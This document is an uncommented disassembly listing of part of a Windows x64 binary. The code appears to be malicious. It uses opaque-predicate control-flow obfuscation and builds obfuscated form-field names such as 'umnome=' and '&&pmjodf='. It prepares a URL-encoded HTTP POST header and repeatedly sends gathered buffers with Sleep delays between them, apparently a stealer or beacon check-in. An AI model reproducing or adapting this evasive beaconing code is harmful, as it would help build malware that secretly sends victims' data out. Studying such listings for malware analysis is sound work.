add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x66646b6469262020
mov qword [rax + rbx], rcx
movabs rcx, 0x3d6a656a66646b
mov qword [rax + rbx + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
lea rcx, [0x140082080]
mov rdx, rdi
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x38]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x140087460]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6d646a7276262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d6a65
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x40]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x1400871c0]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x65706c646e262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d7069
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x140086f40]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6e656b6f63262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d656d
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x50]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x3a98
lea rcx, [0x140082120]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6c6f656b6d262020
mov qword [rax + rbx], rcx
movabs rcx, 0x3d666b646c6f65
mov qword [rax + rbx + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov eax, 0x166e68f1
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
lea rdx, str.LLLPZZP
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
call fcn.140017430
add rsp, 0x20
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0xd0f2ccec
mov eax, 0xc207ccc6
cmovne ebx, eax
test cl, cl
mov eax, 0xd0f2ccec
cmovne eax, ebx
jmp 0x140047321
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xc1f74b0b
and edx, 0x3e08b4f4
or edx, ebx
xor edx, 0x3e08b4f5
xor eax, edx
test eax, edx
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0xc0d793b6
mov eax, 0xbcfe510f
cmovne ecx, eax
test bl, bl
mov eax, 0xc0d793b6
jmp 0x140047f3f
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x7b5dad7a
mov ebx, 0x43600c25
jmp 0x1400471fa
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xd93a154f
and edx, 0x26c5eab0
or edx, eax
mov eax, edx
xor eax, 0x26c5eab0
and eax, 0xfffffffe
xor edx, 0xd93a154e
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x7b5dad7a
mov ebx, 0x28b302d9
cmovne edx, ebx
test cl, cl
mov ecx, 0x7b5dad7a
cmovne edx, ecx
test al, al
cmove edx, ebx
jmp 0x140047409
mov eax, 0xe0b7f44f
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9bc6584
and ecx, 0xf6439a7b
or ecx, edx
xor ecx, 0x9bc6585
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x1a6c717c
mov ecx, 0x5890952e
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0x1a6c717c
jmp 0x140048196
mov eax, 0xaa7857e3
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x173eb431
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xf7c4ba64
mov eax, edx
and eax, 0x83b459b
or eax, ebx
xor eax, 0x83b459a
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x747b382d
mov edi, 0x6401ace1
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
test dl, dl
cmove eax, ebx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp byte [rbp + 0x12e], 0
mov eax, 0x9d2a01a1
mov ecx, 0x2d6f47a6
jmp 0x140047ec4
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x774b0ecd
mov eax, 0xde5f67bd
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x774b0ecd
jmp 0x14004064a
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4f4d8179
mov edx, eax
and edx, 0xb0b27e86
or edx, ecx
xor edx, 0xb0b27e87
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0x836f7fec
mov ebx, 0x172327fc
cmovne eax, ebx
test dl, dl
mov edx, 0x836f7fec
cmovne edx, eax
test cl, cl
cmove edx, eax
mov eax, edx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0xb8a5f393
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
movups xmmword [0x14008732a], xmm6
movaps xmmword [0x140087320], xmm6
movaps xmmword [0x140087310], xmm6
movaps xmmword [0x140087300], xmm6
movaps xmmword [0x1400872f0], xmm6
movaps xmmword [0x1400872e0], xmm6
movaps xmmword [0x1400872d0], xmm6
movaps xmmword [0x1400872c0], xmm6
movaps xmmword [0x1400872b0], xmm6
movaps xmmword [0x1400872a0], xmm6
movaps xmmword [0x140087290], xmm6
movaps xmmword [0x140087280], xmm6
movaps xmmword [0x140087270], xmm6
movaps xmmword [0x140087260], xmm6
movaps xmmword [0x140087250], xmm6
movaps xmmword [0x140087240], xmm6
movaps xmmword [0x140086fc0], xmm6
movaps xmmword [0x140086fd0], xmm6
movaps xmmword [0x140086fe0], xmm6
movaps xmmword [0x140086ff0], xmm6
movaps xmmword [0x140087000], xmm6
movaps xmmword [0x140087010], xmm6
movaps xmmword [0x140087020], xmm6
movaps xmmword [0x140087030], xmm6
movaps xmmword [0x140087040], xmm6
movaps xmmword [0x140087050], xmm6
movaps xmmword [0x140087060], xmm6
movaps xmmword [0x140087070], xmm6
movaps xmmword [0x140087080], xmm6
movaps xmmword [0x140087090], xmm6
movaps xmmword [0x1400870a0], xmm6
movups xmmword [0x1400870aa], xmm6
movaps xmmword [0x1400871e0], xmm6
movaps xmmword [0x1400871d0], xmm6
movaps xmmword [0x1400871c0], xmm6
mov word [0x1400871f0], 0
movaps xmmword [0x14008ec60], xmm6
movaps xmmword [0x14008ec50], xmm6
movaps xmmword [0x14008ec40], xmm6
mov word [0x14008ec70], 0
movaps xmmword [0x140086f60], xmm6
movaps xmmword [0x140086f50], xmm6
movaps xmmword [0x140086f40], xmm6
mov word [0x140086f70], 0
movaps xmmword [0x140081b60], xmm6
mov dword [0x140081b70], 0
movups xmmword [0x14008754a], xmm6
movaps xmmword [0x140087540], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087460], xmm6
sub rsp, 0x20
mov r8d, 0x2710
lea rax, [0x140082120]
mov rcx, rax
mov rdi, rax
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x18]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7530
lea rax, [0x1400876a0]
mov rcx, rax
xor edx, edx
call fcn.140059c80
add rsp, 0x20
movaps xmmword [0x140082080], xmm6
movaps xmmword [0x140082090], xmm6
movaps xmmword [0x1400820a0], xmm6
movaps xmmword [0x1400820b0], xmm6
movaps xmmword [0x1400820c0], xmm6
movaps xmmword [0x1400820d0], xmm6
mov dword [0x1400820e0], 0
sub rsp, 0x20
mov r8d, 0x3e8
lea rcx, [0x140081be0]
xor edx, edx
call fcn.140059c80
add rsp, 0x20
movabs rax, 0x657079542d746e65
mov qword [0x140081be4], rax
mov word [0x140081bec], 0x203a
mov byte [0x140081bee], 0x61
movups xmmword [0x140081bf2], xmm7
mov word [0x140081c07], 0x656c
mov word [0x140081bef], 0x7070
mov byte [0x140081bf1], 0x6c
movabs rax, 0xa0d6465646f636e
mov qword [0x140081c09], rax
mov dword [0x140081be0], 0x746e6f43
mov dword [0x140081c02], 0x752d6d72
mov byte [0x140081c06], 0x72
mov byte [0x140082060], 0
mov dword [0x140082046], 0x656f6655
mov byte [0x14008204a], 0x78
mov dword [0x140082040], 0x6d646179
mov word [0x140082044], 0x4477
mov dword [0x14008205c], 0x6d665577
movups xmmword [0x14008204b], xmm8
mov byte [0x14008205b], 0x74
mov word [0x140082077], 0x5a
mov dword [0x140082073], 0x505a4855
mov word [0x140082070], 0x6a53
mov byte [0x140082072], 0x4b
movaps xmmword [0x140081fe0], xmm9
movabs rax, 0x6e0069002e0075
mov qword [0x140081ff0], rax
mov dword [0x140081ff8], 0x6f0066
sub rsp, 0x20
call fcn.14001fe90
sub rsp, 0x30
mov qword [rsp + 0x48], rdi
lea r14, [0x140086f40]
mov qword [rsp + 0x40], r14
lea r15, [0x1400871c0]
mov qword [rsp + 0x38], r15
lea r12, [0x140087460]
mov qword [rsp + 0x30], r12
lea r13, [0x140081b60]
mov qword [rsp + 0x28], r13
lea r12, [0x140086fc0]
mov qword [rsp + 0x20], r12
mov edx, 0x3a98
mov rcx, rsi
lea r8, str.umnome_ls__pmjodf_ls__idkdfjej_ls__vrjdmej_ls__ndlpeip_ls__cokenme_ls__mkeoldkf_ls
lea rdi, [0x140087240]
mov r9, rdi
call fcn.14002be10
add rsp, 0x50
mov rax, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, rdi
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
lea rbx, [0x1400876a0]
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x3d656d6f6e6d75
mov qword [rax + rbx], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
lea r14, [0x140082040]
mov rcx, r14
xor edx, edx
lea r15, [0x140082070]
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x28]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, r12
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x646f6a6d70262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 7], 0x3d6664
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x30]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, r13
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x66646b6469262020
mov qword [rax + rbx], rcx
movabs rcx, 0x3d6a656a66646b
mov qword [rax + rbx + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
lea rcx, [0x140082080]
mov rdx, rdi
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x38]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x140087460]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6d646a7276262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d6a65
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x40]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x1400871c0]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x65706c646e262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d7069
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x140086f40]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6e656b6f63262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d656d
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x50]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x3a98
lea rcx, [0x140082120]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6c6f656b6d262020
mov qword [rax + rbx], rcx
movabs rcx, 0x3d666b646c6f65
mov qword [rax + rbx + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov eax, 0xd9fab287
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x8e1da20c
and ecx, 0x71e25df3
or ecx, eax
xor ecx, 0x71e25df3
sete al
setne bl
cmp dword [0x14008ec1c], 0xa
setl dl
xor bl, dl
mov ecx, ebx
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor cl, al
mov ecx, 0x37ed5f9a
mov edx, 0x190116e
cmovne ecx, edx
test al, al
mov eax, 0x37ed5f9a
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x257b1d60
and edx, 0xda84e29f
or edx, ebx
xor edx, 0xda84e29e
xor eax, edx
test eax, edx
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0xb8f8f08c
mov eax, 0x8d3935a9
cmovne ecx, eax
test bl, bl
mov eax, 0xb8f8f08c
cmovne eax, ecx
test dl, dl
jmp 0x140048196
mov ecx, dword [0x14008ec18]
mov edi, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x74a261e6
and edx, 0x8b5d9e19
or edx, ecx
mov ebx, edx
xor ebx, 0x8b5d9e19
xor edx, 0x340041c2
and edx, 0xb4514bc3
mov ecx, ebx
and ecx, 0x4baeb43c
or ecx, edx
xor ecx, 0x4baeb43d
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x1f103823
mov ebx, 0xe39c15f1
cmovne eax, ebx
test dl, dl
mov edx, 0x1f103823
cmovne eax, edx
test cl, cl
jmp 0x140047323
mov eax, 0x3c15d74c
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
sub rsp, 0x20
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xaec78a0e
and ecx, 0x513875f1
or ecx, eax
mov eax, ecx
xor eax, 0x513875f1
xor ecx, 0xa084820a
and ecx, 0xa08496fb
mov edx, eax
and edx, 0x5f7b6904
or edx, ecx
xor edx, 0x5f7b6905
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0xbe3fd451
mov ecx, 0xd206dd34
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0xbe3fd451
jmp 0x140048196
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x64d57d56
and edx, 0x9b2a82a9
or edx, ebx
xor edx, 0x64d57d57
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x5bbdd63e
mov eax, 0x5fde8d51
cmovne edx, eax
test bl, bl
mov eax, edx
